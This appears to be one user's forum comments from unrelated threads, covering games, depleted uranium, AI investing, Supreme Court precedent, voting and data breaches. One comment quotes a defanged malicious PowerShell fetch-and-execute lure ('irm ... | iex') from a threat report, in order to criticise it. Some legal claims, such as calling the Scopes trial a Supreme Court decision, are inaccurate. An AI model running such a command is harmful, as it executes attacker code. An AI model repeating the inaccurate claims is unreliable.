sylver_dragon

It’s good to have this sort of thing, but it’s been long enough since I’ve had a problem that I barely even look at ProtonDB anymore, before buying a game. I recently bought Windrose, fired it up, started playing and then thought, “huh, I should have probably checked it on ProtonDB before I bought it.” One of these days, I might go check it’s status; but, I’d much rather just spend the time playing it. It just worked, after all.

In general, they hold that criminalising loot boxes as a form of gambling “will have an impermissible chilling effect on protected videogame design”, creating a risk of liability for people who stream about lootboxes together with people who sell analogous products, like the aforesaid packets of baseball cards.

I’m failing to see the problem here. Baseball cards, randomized “blind boxes” and packs are all gambling aimed at kids. If we “chill” that sort of speech (and commercial speech has long received less protection) that’s a good thing.

You’d expect it to happen ~5% of the time on a fair die. But, I’d be willing to bet a lot of dice aren’t actually fair and so the results get weighted.

I hate to be defending Russia, but this article is pushing a narrative around a “radioactive” threat which is really bullshit. First off, Depleted Uranium is already in use in Ukraine. We know this because the US shipped those weapons to Ukraine. Also, DU isn’t really a radioactive threat. You can hold a chunk of it with your bare hands and the radiation dose you receive is negligible. It’s more of a danger as a toxic heavy metal, like lead. It can bio-accumulate and cause all the same problems which lead does. This isn’t good for the long term environmental health of Ukraine. But, it’s a common material in tanks and other weapons which are designed to penetrate armor/buildings. So, it’s use by Russia isn’t exactly shocking. This article is just Yellow Journalism.

Yes, the US Military uses DU. Specifically, it’s used in both the armor and ammunition for the M1 Abrams tank. It was used extensively by US forces in the recent series of wars in Iraq and Afghanistan. And there was enough of an issue around veterans exposure that the VA setup a program to track known cases of soldiers exposed to it. There is also a “helpful” FAQ page from the US Military’s health system downplaying the effects of DU exposure.

AI is the shiny new tech and investors are more worried about missing out on “the next big thing” than they areabout pissing away a few billion dollars. For investors at that level, it’s all a game of numbers. If they invest a billion dollars in 20 different things, and 19 of those things fail, but one has a return of 100 billion dollars, that’s a win.

Sure, there is no guarantee that AI will pan out. But, that’s a very hard thing to determine ahead of time. Everyone thought e-commerce would pay off big in the 90’s/00’s. And it did, for a few companies (Google, Amazon). The rest got slaughtered and we got the dot-com bubble. Then folks expected Crypto currencies, EFTs and NFTs to pay off big. Mostly, that didn’t happen, though they do thrive in a few places. Again, investors just wanted to ride that profit wave.

In short, investments are all about making money. And at a sufficient scale, it’s not about picking winners or losers, it’s about picking everything and making sure the wins from the winners cover the losses from the losers.

It depends on the user(s). Which position do you naturally reach for first? That’s where the oldest stock goes, with newer stock “behind” that in descending order of age. You always want to rotate stock, such that the oldest stock gets used up first.

You literally say it yourself. Precedents are being revoked. This shouldn’t be possible by the same court.

Why not? You are essentially arguing that the courts should always be bound by their first decision.

We have balance of powers for a reason

You don’t seem to understand what that means. The balance of powers doctrine is about ensuring that no one branch of government has too much power. A single branch changing its mind has nothing to do with that. In fact, all three branches do this all the time. Presidents can issue Executive Orders and those can (and regularly are) overridden by new Presidents. Congress passes laws regularly and it’s rather common for new Congresses to change those laws. It makes no sense to say that the Courts must always be bound by the first decision to be made and never update those decisions based on new information or a changing in society.

it was pretty well decided on that things don’t get re-litigated

Have you read a history book? Things are re-litigated constantly. Something I specifically pointed out in my last comment.

exactly to stop what is currently happening from happening.

Quite the opposite, really. Re-litigation of issues is one of the ways in which issues actually get changed. Let’s take something like Roe v. Wade. That was not the first time an abortion ban was in front of the Supreme Court. In fact, they had just decided US v. Vuitch. That case effectively rules that DC could enact a ban on abortion. Under your theory, Roe couldn’t have happened. We could also just jump all the way back to Cruickshank (which I mentioned before) and say that the restrictions on the Federal Government in the Bill of Rights (specifically the 1st and 2nd amendments) do not restrict State Governments.

Honestly, it sounds like your real complaint is that precedents you like or agree with are being overturned. And that sucks, but Supreme Court precedents have never crystalized US law in the past. On the upshot, they won’t in the future either. The actions of this Supreme Court will only last as long as the Justices continue to agree with the decisions being made. And that is likely to change eventually. It just takes time and hard political work.

They already can be. There’s a few ways to do it, but all of them are slow, difficult and rely on achieving a level of political alignment which is not going to happen any time soon. And almost certainly not for the things you’re likely to want.

First off, Congress can just pass a law to change the current law. For most things, this works out well enough and this still happens from time to time. But, it’s much less durable than other methods. If the Supreme Court sees that law as violating the Constitution, they will strike it down and that ends that path to change.

Second, Congress and the States could amend the Constitution. The has happened 27 times in US History, but it’s never been a simple process. The Constitution is hard to amend and it requires a lot of consensus. Given the fractious nature of current politics and going by voting patters, the near perfect split between left vs right, I doubt we could even get an amendment passed which just said, “don’t kick puppies”.

Lastly, the States could just call a Constitutional Convention and pass whatever they want. This is a bad idea. It’s a really, really bad idea. The last time the States did this, they scrapped everything the previous Constitutional Convention had written and started from scratch. Maybe this would result in something better, but given whom our current president is, I’d be kinda afraid of giving any political body that sort of power right now.

Technically, there’s also always the “ammo box” solution to forcing change. But, history provides lost of examples of that going very, very poorly and almost none of it going well. Also, that process is only legal if you win; so, maybe let’s not go there.

This proposed amendment would be based on the ratification provision in the Constitution, which requires only three-quarters of the states to approve an amendment. However, this amendment would only serve to overturn Supreme Court rulings if three-quarters of the state supreme courts reject the ruling or issue a contrary ruling.

Ignoring the fact that this would require an amendment to the US Constitution to put in place, it’s an interesting idea. Though, it’s worth noting that this would have likely delayed a lot of social change in the US. The 20th Century saw a lot of landmark changes to the interpretation to the Constitution, not all of them widely popular at the time.

What would be the political and judicial consequences if this amendment were to take effect?

This would devolve a lot of power away from the Federal Government. Arguably, this would be more similar to the pre-20th Century state of affairs. Control of State Governments would be even more important to political parties and this would likely shift power even further towards small, less densely populated States. In short, I’d bet on it causing a significant conservative shift in US law. Currently, the GOP hold 23 State Government trifectas (control of all legislative branches), and the DNC 16. The other 11 States are split. [source]. While such control does not guarantee control of State Supreme Courts (e.g. Virginia’s Supreme Court is still conservative), it is an indicator. But, I’d bet on a cumulative court decision being much closer to the current Supreme Court than many folks here would want.

The Supreme Court just interprets the laws as “unconstitutional” no matter how clearly laid out they are.

The US Constitution is considered the Supreme Law. If there is a conflict between the Constitution and any State or Federal law, the law in the Constitution wins. And the Constitution can be updated via amendments. We’ve done this 27 times, though the 18th Amendment was canceled by the 21st Amendment, so those two are a bit of a wash. Part of the Supreme Court’s job (kinda made up by the SC itself) is to interpret the law and decide if a conflict exists and how that conflict should be resolved. This is called Judaical Review.

And, this power ultimately makes sense in the context of the US Constitution. Consider for a moment that Congress “clearly laid out” a law which made supporting the other political party illegal (for whatever version of “other political party” strikes your fancy). This sort of law would be incredibly anti-democratic. It’s also a pretty clear violation of the First Amendment. But, who gets to decide that? If it’s just up to Congress, and they are the ones passing the law, that seems a pretty poor way to adjudicate it. Maybe the President gets to decide. And the President might do just that by vetoing it. But, it’s likely that a President is going to sign it, if he’s of the same party. That only leaves two options, we all start shooting at each other every time we feel the Constitution has been violated, or the last branch of the Federal Government steps in and makes the call. While certainly not non-partisan, they are somewhat removed from the political process and are more likely to make rational, long-term decisions. And it’s a damn sight better than the “shoot each other” option.

In practice, this has held up reasonably well. The main problem is that the early lawmakers in the US were kinda shit at their job. The early Amendments to the US Constitution are vague and leave a lot of room for interpretation. The result is that those interpretations have changed over time and as different factions have gained more influence over the Supreme Court. And given that the Justices on the Supreme Court serve for life (barring impeachment), those shifts can be slow and long lasting.

There is also the issue of implied rights and what exactly those are. Consider everyone’s favorite, a “Right to Life”. What is it, and where does it exist in the US Constitution? The definition for it is kinda fuzzy in US Federal law partly because it doesn’t explicitly exist in the US Constitution. There is the 9th Amendment:

The enumeration in the Constitution, of certain rights, shall not be construed to deny or disparage others retained by the people.

Well great, but um, what are those rights? And who gets to decide? Again, we have to sort out a system for that, and the best we’ve come up with to date is the Supreme Court. Hardly a perfect solution, but we haven’t come up with anything better yet. This is also why a lot of courts look to the writings of the Founders, especially the Federalist Papers. Trying to divine what those “other rights” are is hard and the courts try to base their decisions on some sort of textual evidence or precedent. But again, these interpretations are not universal and are subject to change as both society and the make up of the court changes.

So no, “passing of laws doesn’t matter anymore, and neither does precedent” is incorrect. Passing laws matters, but those laws need to comply with the current interpretation of the Constitution and it’s amendments. And precedent matters in so much as the interpretations of the Constitution haven’t changed. The issue is that the current make up of the court has a very right-wing view. So, previous precedents (which were more left-wing) are being revoked. That anyone is surprised by this is kinda dumb. In fact The early and mid-20th century saw the Supreme Court taking a much more left-wing interpretation of the Constitution, which was a departure from prior generations. Decisions such as Tennessee v. Scopes (Scopes Monkey Trial) and Roe v. Wade were major departures from previous precedent. Many of us grew up with those decisions in place and took for granted that they were “settled”. But, they really weren’t. They were Supreme Court decisions which could be reversed by newer Supreme Court decisions.

And while it sucks when that happens to decisions we like, it’s also been useful when it’s gone the other way. In US v. Cruikshank, the Supreme Court decided that the rights enumerated in the US Constitution did NOT bind the States. Specifically, that States were not bound by the 1st or 2nd Amendments and it also greatly limited the applicability of the 14th Amendment. Ultimately, this precedent would be rolled back by later decisions and Incorporation slowly redefined the relationship between the Federal Constitution and State governments.

Ultimately, law is a messy thing. And it’s very much the outcome of a political process which is subject to people of all stripes, including those whose opinions and beliefs will be hostile and toxic to your own. It’s a pretty terrible way to decide laws, but it’s better than most everything else we’ve tried in history.

When you get to doing division and multiplication, it can make sense to look at what is being done to what and see if operations cancel out or simplify. E.g. if you are multiplying by 6 and dividing by 2 and bother operations are going to affect the same number/group/etc. there is no need to do both operations, you just multiply by 3 since that’s ultimately what you are doing. Really, any place you can simplify operations, do that. Same goes for addition/subtraction. The Commutative Property is really handy for making hard math easier.

Do any of you, living in the US, vote?

Yup, everyone does. If someone chooses not to vote, they have cast a voted for “I don’t care”. And have decided to let everyone else choose for them. They may not like any of the choices, but politics has always been “the art of the possible”. If they want perfect solutions, they need to start their own dictatorship. If they won’t or can’t do that, voting is the only bit of control they’re going to get. And that means some type of compromise with everyone else in society. It’s a terrible system, but history hasn’t provided a lot of better examples to follow. Don’t like the system, change it. And unless you have the force of arms to do it the violent way (and it’s really unlikely you do), you’re only real option is to do it via the soap box and ballot box.

Would you ever consider voting DSA/Socially democratic[?]

Sure, though not any time soon. One of the things I’d like to change about our system is the First Past the Post nature of elections. But, until that happens, the math just doesn’t work in most elections. I vote in primaries and vote for the options who most closely match my views in those. But, come the general elections (especially at the federal level), third parties are basically DOA. I’d rather vote “not Nazi” than sit on my thumbs and watch “Nazi” coast to victory because I’m stuck letting “perfect” be the enemy of “not a fucking Nazi”. Should the DSA reach a point that they aren’t an “also ran” in an election I’m voting on, sure I’d probably vote for them.

Would you ever vote for someone like Trump just to make things intentionally worse in the hopes of sparking off a revolution?

Well, it hasn’t happened with Trump. And looking at history, I really don’t think revolutions are such the clean and wonderful things people in online forums like to make them out to be. History provides lots of example of revolutions ending up with groups like the Taliban in charge and basically none ending up as egalitarian utopias.

Not sure if I will ever vote again at this point

That’s your choice, but you’ve made the choice to let other people decide your government. You can sit on the sidelines and stew in your own smugness. But, no one cares. And no one will ever care about your opinions if you’re not willing to enter the political milieu and fight for them.

So, they paid the attackers. Sure, the attackers may not sell or dump the data publicly, but you can bet your arse that they have a copy and will use it in future phishing campaigns or other scams.

On Feb. 1, 2025, Muneeb Akhter asked Sohaib Akhter for the plaintext password of an individual who submitted a complaint to the Equal Employment Opportunity Commission’s Public Portal, which was maintained by the Akhters’ employer. Sohaib Akhter conducted a database query on the EEOC database and then provided the password to Muneeb Akhter.

What type of shit password storage policies where they using, if this is even remotely accurate? Sure, these guys should face consequences for their actions. But if this is a US FedGov system, whatever management signed off on this system needs to be in the next jail cell over. Their security seems to be criminally negligent.

Jumping over to the original report:

While the canonical command is “irm https[:]//claude[.]ai/install.ps1 | iex”, the lure replaced the destination host with “irm events[.]msft23[.]com | iex”.

Whatever artificially intelligent person at Anthopic decided that the official install method for Claude Code should be an irm piped to an iex in PowerShelll should be dragged out behind the same woodshed as Old Yeller. That is basically screaming “malicious code” at security tools. And it’s training developers that blindly running code from the internet is a-ok. It’s no wonder I’ve already seen exactly this sort of thing (with a different URL) happen in my environment. It’s like the AI companies are trying to make security worse.

GM is also required to:

• Stop selling driving data to consumer reporting agencies and brokers for five years.

Stop doing that until everyone forgets about it and we can go back to turning a blind eye.

Thank you for taking the time to distill the article. Saw that it was New York Times and assumed it was the same rehashed “THE END IS NEIGH!!11!” bullshit.

LinkedIn is basically a public resume. Using it for anything more demonstrates that you do not have a basic grasp of privacy or security. As such, there shouldn’t be anything up there which is all that bad to have leaked. Sure, if the password database gets dumped, rotate your LinkedIn password (it should already be unique, so no worries about it being reused elsewhere). And having an email address get added to every spam list everywhere kinda sucks. But, what else is the attacker going to get, my name and work history, which are already public on the site?

I mean, yes LinkedIn should be raked over the coals for shit security practices. And we really need something like the GDPR here in the US to actually do that. But, I’m also not going to get terribly worked up about my public CV being leaked. The leak is kinda redundant.

The same place they came from.

Violence is always a bad answer.
Sometimes its the least bad answer of the options available.